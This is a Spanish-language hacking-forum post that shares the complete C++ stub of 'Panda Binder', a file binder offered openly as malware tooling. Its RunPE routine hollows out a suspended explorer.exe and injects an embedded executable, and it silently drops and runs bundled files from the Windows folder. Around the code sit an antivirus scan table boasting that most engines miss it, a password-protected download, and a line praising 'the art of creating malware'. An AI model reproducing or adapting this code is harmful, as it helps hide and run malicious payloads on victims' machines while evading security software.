comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Panda Binder [RunPE]

  • 1 Respuestas
  • 1789 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado xxneeco83xx

  • *
  • Underc0der
  • Mensajes: 46
  • Actividad:
    0%
  • Reputación 0
  • ASM/C/C++/VB/Delphi
    • Ver Perfil
    • Email
  • Skype: nico.buzzi
« en: Agosto 05, 2015, 01:42:18 pm »
Hola! aqui les dejo el primer binder que programe, tiene ya un tiempo, pero lo probe en varios Windows, y funciona, es RunPE y soporta multiples archivos.
Pueden elegir el metodo de ejecucion, les dejo algunas imagenes, el codigo del STUB, el análisis y por supuesto el link de descarga.








Código: C++
  1. #include <windows.h>
  2.  
  3. typedef LONG ( __stdcall *_NtUnmapViewOfSection ) ( IN HANDLE pFile, IN PVOID ImageBase );
  4.  
  5. /*
  6.         ##########################################################################
  7.         # Stub de panda binder 1
  8.         # Diseñado y desarrollado por xxneeco83xx
  9.         # Para Underc0de.org
  10.         #
  11.         # Soporta varios archivos
  12.         #
  13.         # xxneecoxx@gmail.com
  14.         ##########################################################################
  15. */
  16.  
  17. //Estroctura MYFILE
  18. typedef struct TAGfile {
  19.  
  20.         char extension [ MAX_PATH ];
  21.         char randomize [ MAX_PATH ];
  22.         char modex [ MAX_PATH ];
  23. } MYFILE, *LPMYFILE;
  24.  
  25. bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName );
  26.  
  27. bool __stdcall EjecuteMemory ( IN LPVOID Buffer, IN LPSTR AppName ) {
  28.  
  29.         PIMAGE_DOS_HEADER IDH;
  30.         PIMAGE_NT_HEADERS INTH;
  31.         PIMAGE_SECTION_HEADER ISH;
  32.  
  33.         PROCESS_INFORMATION PI;
  34.         STARTUPINFOA SI;
  35.        
  36.         PCONTEXT CTX;
  37.         PDWORD dwImageBase;
  38.         LPVOID pImageBase;
  39.  
  40.         int Count = 0;
  41.                                                                                                                                         //NtUnmapViewOfSection
  42.         _NtUnmapViewOfSection NtUnmapViewOfSection = ( _NtUnmapViewOfSection ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "NTDLL.DLL"), "NtUnmapViewOfSection" );
  43.         if ( NtUnmapViewOfSection == 0L )
  44.         {
  45.                 return false;
  46.         }
  47.        
  48.         IDH = PIMAGE_DOS_HEADER ( Buffer );
  49.        
  50.         if ( IDH->e_magic == IMAGE_DOS_SIGNATURE )
  51.         {
  52.  
  53.                 INTH = PIMAGE_NT_HEADERS ( DWORD ( Buffer ) + IDH->e_lfanew );
  54.                
  55.                 if ( INTH->Signature == IMAGE_NT_SIGNATURE ) {
  56.  
  57.                         RtlZeroMemory ( &SI, sizeof ( SI ) );
  58.                         RtlZeroMemory ( &PI, sizeof ( PI ) );
  59.                
  60.                         if ( CreateProcessA ( AppName, 0L, 0L, 0L, false, CREATE_SUSPENDED, 0, 0, &SI, &PI ) )
  61.                         {
  62.                                 CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
  63.                                 CTX->ContextFlags = CONTEXT_FULL;
  64.  
  65.                                 if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) ) {
  66.                                         ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8), LPVOID ( &dwImageBase ), 4, 0L );
  67.                        
  68.                                         if ( DWORD ( dwImageBase ) == INTH->OptionalHeader.ImageBase )
  69.                                         {
  70.                                                 NtUnmapViewOfSection ( PI.hProcess, PVOID ( dwImageBase ) );
  71.                                         }
  72.                                         else
  73.                                         {
  74.                                                 return false;
  75.                                         }
  76.  
  77.                                         pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID ( INTH->OptionalHeader.ImageBase ), INTH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE );
  78.                                                
  79.                                         if ( pImageBase ) {
  80.                                        
  81.                                                 WriteProcessMemory ( PI.hProcess, pImageBase, Buffer, INTH->OptionalHeader.SizeOfHeaders, 0 );
  82.                                                
  83.                                                 for ( Count; Count < INTH->FileHeader.NumberOfSections; Count ++ )
  84.                                                 {
  85.                                                         ISH = PIMAGE_SECTION_HEADER ( DWORD ( Buffer ) + IDH->e_lfanew + 248 + ( Count * 40 ) );
  86.                                                         WriteProcessMemory ( PI.hProcess, LPVOID ( (DWORD ( pImageBase ) + ISH->VirtualAddress ) ), LPVOID ( ( DWORD ( Buffer ) + ISH->PointerToRawData ) ), ISH->SizeOfRawData, 0 );
  87.                                                 }
  88.  
  89.                                                 WriteProcessMemory ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INTH->OptionalHeader.ImageBase ), 4, 0 );
  90.                                                 CTX->Eax = DWORD ( pImageBase ) + INTH->OptionalHeader.AddressOfEntryPoint;
  91.        
  92.                                                 SetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) );
  93.                                                 ResumeThread ( PI.hThread );
  94.                                         }
  95.                                 }
  96.                         }
  97.                 }
  98.         }
  99.  
  100.         GlobalFree ( Buffer );
  101.  
  102.         return TRUE;
  103. }
  104.  
  105. int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  106.         LPSTR lpszArgument, int nCmdFunstil ) {
  107.        
  108.         //Variables globales.
  109.         HANDLE File;
  110.         DWORD dwSize, dwBytes, a, b, c, e, d, number_files, mode, size;
  111.  
  112.         //Estroctura PE
  113.         PIMAGE_DOS_HEADER IDH;
  114.         PIMAGE_NT_HEADERS INTH;
  115.  
  116.         //Estroctura para CreateProcessA
  117.         STARTUPINFOA stinfo;
  118.         PROCESS_INFORMATION pi;
  119.  
  120.         //Puntero a estroctura MYFILE
  121.         MYFILE file;
  122.  
  123.         //Variables de tipo string puntero.
  124.         LPSTR Temp, Path, StubBuffer, AppName;
  125.  
  126.         //Inicializamos contador random, y estrocturas stinfo y pi
  127.         srand ( GetTickCount () ); //Inicializamos el randomizador.
  128.         ZeroMemory ( &stinfo, sizeof ( stinfo ) );
  129.         ZeroMemory ( &pi, sizeof ( pi ) );
  130.  
  131.         //Obtenemos nuestro nombre         /*GPTR MEMORY FIXED*/
  132.         AppName = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( MAX_PATH + 1 ) );
  133.         GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );
  134.  
  135.         //Nos leemos
  136.         File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0
  137.                 , OPEN_EXISTING, 0, 0 );
  138.        
  139.         if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {
  140.  
  141.                 CloseHandle ( File );
  142.                 GlobalFree ( AppName );
  143.  
  144.                 return EXIT_FAILURE;
  145.         }
  146.  
  147.         //Obtenemos nuestro tamaño
  148.         dwSize = GetFileSize ( File, 0 );
  149.  
  150.         //Nos leemos.                       /*GPTR MEMORY FIXED*/
  151.         StubBuffer = PCHAR ( GlobalAlloc ( ( 0x0000 | 0x0040 ), ( dwSize + 1 ) ) );
  152.         ReadFile ( File, StubBuffer, dwSize, &dwBytes, 0 );
  153.  
  154.         CloseHandle ( File );
  155.        
  156.         //Liberamos nuestro nombre.
  157.         GlobalFree ( AppName );
  158.  
  159.         for ( a = 0; a <= dwSize; a ++ ) {
  160.  
  161.                 //Buscamos la firma en el EOF
  162.                 if ( ( StubBuffer [ a ] == 'c' ) && ( StubBuffer [ a + 1 ] == 'o' ) && ( StubBuffer [ a + 2 ] == 't' ) &&
  163.                         ( StubBuffer [ a + 3 ] == 'e' ) ) {
  164.        
  165.                         StubBuffer += ( a + 4 );
  166.                         dwSize -= ( a + 4 );
  167.  
  168.                         /* Ajustamos el tamaño al del nuevo buffer, y configuramos el nuevo buffer */
  169.  
  170.                         break;
  171.                 }
  172.         }
  173.  
  174.         for ( b = 0; b <= dwSize; b ++ ) {
  175.  
  176.                 //Buscamos un buffer
  177.                 if ( ( StubBuffer [ b ] == '*' ) && ( StubBuffer [ b + 1 ] == 'n' ) && ( StubBuffer [ b + 2 ] == 'e' ) &&
  178.                         ( StubBuffer [ b + 3 ] == 'w' ) && ( StubBuffer [ b + 4 ] == '*' ) ) {
  179.  
  180.                         //Comprobamos si estamos en el final
  181.                         if ( ( StubBuffer [ b + 5 ] == 'f' ) && ( StubBuffer [ b + 6 ] == 'i' ) && ( StubBuffer [ b + 7 ] == 'n' ) ) {
  182.                
  183.                                 GlobalFree ( Temp );
  184.                                 GlobalFree ( StubBuffer );
  185.  
  186.                                 ExitProcess ( 0 );
  187.                         }
  188.  
  189.                         //Obtenemos la extension del archivo.
  190.                         CopyMemory ( & file.extension [ 0 ], & StubBuffer [ b + 5 ], 3 );
  191.                         CopyMemory ( & file.modex [ 0 ], & StubBuffer [ b + 8 ], 1 );
  192.  
  193.                         //Obtenemos el modo a ejecutar
  194.                         mode = atoi ( file.modex );
  195.                        
  196.                         //Procedemos a buscar el final del archivo.
  197.                         for ( c = b + 9; c <= dwSize; c ++ ) {
  198.                                
  199.                                 //Obtenemos el tamaño del nuevo archivo.
  200.                                 if ( ( StubBuffer [ c ] == '*' ) && ( StubBuffer [ c + 1 ] == 'n' ) && ( StubBuffer [ c + 2 ] == 'e' ) &&
  201.                                         ( StubBuffer [ c + 3 ] == 'w' ) && ( StubBuffer [ c + 4 ] == '*' ) ) {
  202.                                                 size = ( c - 1 );
  203.                                                 break;
  204.                                 }
  205.                         }
  206.  
  207.                         //Ruta del archivo a donde ejecutarnos.
  208.                         char explorer [ MAX_PATH + 1 ];
  209.                         wsprintfA ( explorer, "%s\\explorer.exe", getenv ( "windir" ) );
  210.  
  211.                         //Generamos la ruta del nuevo archivo.
  212.                         wsprintfA ( file.randomize, "%s\\%d%d.%s", getenv ( "windir" ), rand () % GetSystemMetrics ( SM_CXSCREEN ), rand () % GetSystemMetrics ( SM_CYSCREEN ), file.extension );
  213.  
  214.                         //Obtenemos el buffer del archivo.
  215.                         Temp = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( size + 1 ) );
  216.                         CopyMemory ( & Temp [ 0 ], & StubBuffer [ b + 9 ], c );
  217.  
  218.                         //Procedemos a limpiar el buffer
  219.                         int orig = size;
  220.                         for ( d = 0; d <= orig; d ++ ) {
  221.                                 if ( ( Temp [ orig - d ] == '*' ) && ( Temp [ orig - ( d - 1 ) ] == 'n' ) &&
  222.                                         ( Temp [ orig - ( d - 2 ) ] == 'e' ) && ( Temp [ orig - ( d - 3 ) ] == 'w' ) && ( Temp [ orig - ( d - 4 ) ] == '*' ) ) {
  223.                                        
  224.                                         //Reajustamos el tamaño del archivo.
  225.                                         size -= ( d - 1 );
  226.                                         break;
  227.                                 }
  228.                         }
  229.  
  230.                         //Obtenemos PE
  231.                         IDH = PIMAGE_DOS_HEADER ( Temp );
  232.                         INTH = PIMAGE_NT_HEADERS ( DWORD ( Temp ) + IDH -> e_lfanew );
  233.                
  234.                         //Procedemos a crearlo.
  235.                         if ( lstrcmpA ( file.extension, "exe" ) != 0 && lstrcmpA ( file.extension, "EXE" ) != 0 )
  236.                         {
  237.                                 File = CreateFileA ( file.randomize, GENERIC_WRITE, FILE_SHARE_WRITE, 0,
  238.                                         CREATE_ALWAYS, 0, 0 );
  239.        
  240.                                 if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) ) {
  241.                        
  242.                                         CloseHandle ( File );
  243.                                         GlobalFree ( StubBuffer );
  244.  
  245.                                         return EXIT_FAILURE;
  246.                                 }
  247.  
  248.                                 WriteFile ( File, Temp, size, &dwBytes, 0 );
  249.                                 CloseHandle ( File );
  250.                         }
  251.                         else
  252.                         {
  253.                                 //Comprobamos que sea ejecutable.
  254.                                 if ( ( IDH -> e_magic == IMAGE_DOS_SIGNATURE ) )
  255.                                 {
  256.                                         if ( ( INTH -> Signature == IMAGE_NT_SIGNATURE ) )
  257.                                         {
  258.                                                 if ( mode == 0 || mode == 1 )
  259.                                                 {
  260.                                                         EjecuteMemory ( Temp, explorer );
  261.                                                 }
  262.                                         }
  263.  
  264.                                 }
  265.                                 else
  266.                                 {
  267.                                         if ( mode == 0 )
  268.                                         {
  269.                                                 CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_NO_WINDOW, 0, 0, &stinfo, & pi );
  270.                                         }
  271.                                         else
  272.                                         {
  273.                                                 CreateProcessA ( file.randomize, 0, 0, 0, false, CREATE_DEFAULT_ERROR_MODE, 0, 0, &stinfo, & pi );
  274.                                         }
  275.                                        
  276.                                         /* SI no es archivo que contenga formato PE (Portable Executable) lo ejecutamos con CreateProcessA */
  277.                                 }
  278.                         }
  279.                        
  280.                         //Liberamos el buffer nuevamente asi podremos volver a utilizarlo en la siguiente vuelta
  281.  
  282.                         GlobalFree ( Temp );
  283.                        
  284.                         //Ajustamos el buffer.
  285.                         StubBuffer += ( size );
  286.        
  287.                 }
  288.         }
  289.        
  290.         //Una vez finalizado la creacion de archivos, procederemos a liberar el buffer principal.
  291.  
  292.         GlobalFree ( StubBuffer );
  293.  
  294.         return EXIT_SUCCESS;
  295. }
  296.  
  297.  


No tienes permisos para ver links. Registrate o Entra con tu cuenta

Scanner   Engine Ver   Sig Ver   Sig Date   Scan result   Time
ahnlab   9.9.9   9.9.9   2013-05-28   Found nothing   4
antivir   1.9.2.0   1.9.159.0   7.11.253.84   Found nothing   43
antiy   AVL SDK 3.0   2014112615531100   2014-11-26   Found nothing   1
arcavir   1.0   2011   2014-05-30   Found nothing    25
asquared   9.0.0.4157   9.0.0.4157   2014-07-30   Found nothing    2
avast   150804-0   4.7.4   2015-08-04   Found nothing   56
avg   2109/8526   10.0.1405   2015-01-30   Found nothing   1
baidu   2.0.1.0   4.1.3.52192   2.0.1.0   Found nothing   4
baidusd   1.0   1.0   2014-04-02   Found nothing     1
bitdefender   7.58879   7.90123   2015-01-16   Found nothing   1
clamav   20760   0.97.5   2015-08-03   PUA.Win32.Packer.MingwGcc-2   1
comodo   15023   5.1   2015-08-01   Found nothing   3
ctch   4.6.5   5.3.14   2013-12-01   Found nothing   1
drweb   5.0.2.3300   5.0.1.1   2015-08-03   Found nothing   58
fortinet   27.158, 27.158   5.1.158   2015-08-04   Found nothing   1
fprot   4.6.2.117   6.5.1.5418   2015-08-04   W32/Felix:VC_program!Eldorado   4
fsecure   2015-08-01-02   9.13   2015-08-01   Found nothing      6
gdata   24.3819   24.3819   2014-08-29   Found nothing    7
hauri   2.73   2.73   2015-01-30   Found nothing   1
ikarus   1.06.01   V1.32.31.0   2015-08-04   Trojan.Win32.Agents   37
jiangmin   16.0.100   1.0.0.0   2015-07-30   Found nothing   21
kaspersky   5.5.33   5.5.33   2014-04-01   Found nothing   54
kingsoft   2.1   2.1   2013-09-22   Found nothing   4
mcafee   7879   5400.1158   2015-07-31   Found nothing   21
nod32   1777   3.0.21   2015-06-12   Found nothing   1
panda   9.05.01   9.05.01   2014-06-15   Found nothing   5
pcc   11.832.02   9.500-1005   2015-08-04   Found nothing   3
qh360   1.0.1   1.0.1   1.0.1   Found nothing   6
qqphone   1.0.0.0   1.0.0.0   2015-08-05   Found nothing   4
quickheal   14.00   14.00   2014-06-14   Found nothing   2
rising   25.17.00.04   25.17.00.04   2014-06-02   Found nothing   5
sophos   5.17   3.60.0   2015-08-01   Found nothing   20
sunbelt   3.9.2589.2   3.9.2589.2   2014-06-13   Found nothing   2
symantec   20150802.002   1.3.0.24   2015-08-02   Found nothing   1
tachyon   9.9.9   9.9.9   2013-12-27   Found nothing   3
thehacker   6.8.0.5   6.8.0.5   2014-06-12   Trojan/Ainslot.aa   1
tws   17.47.17308   1.0.2.2108   2014-06-16   Suspicious:Heuri.NewThreat.MVM   6
vba   3.12.26.4   3.12.26.4   2015-08-03   Found nothing   10
virusbuster   15.0.985.0   5.5.2.13   2014-12-05   Found nothing    42

Aqui el link de descarga
No tienes permisos para ver links. Registrate o Entra con tu cuenta

PASS : xxneeco83xx
El arte de crear malware, es algo que solo pocos entienden!


Desconectado FUMATRONIC

  • *
  • Underc0der
  • Mensajes: 3
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #1 en: Agosto 20, 2015, 06:44:37 pm »
gracias por el aporte amigo.

salut

 

¿Te gustó el post? COMPARTILO!



Crypter [RunPE][Función compresor][9/56 Antivirus]

Iniciado por xxneeco83xx

Respuestas: 14
Vistas: 5486
Último mensaje Noviembre 04, 2015, 06:37:59 pm
por eimattz
Crypter and Binder Source Code vb.net

Iniciado por FoxDesierto

Respuestas: 2
Vistas: 2510
Último mensaje Agosto 26, 2015, 09:19:52 pm
por xxneeco83xx
Baku Crypter v2.0 FUD 0/35 + Binder.

Iniciado por Baku

Respuestas: 6
Vistas: 3238
Último mensaje Noviembre 20, 2014, 11:29:51 pm
por brampower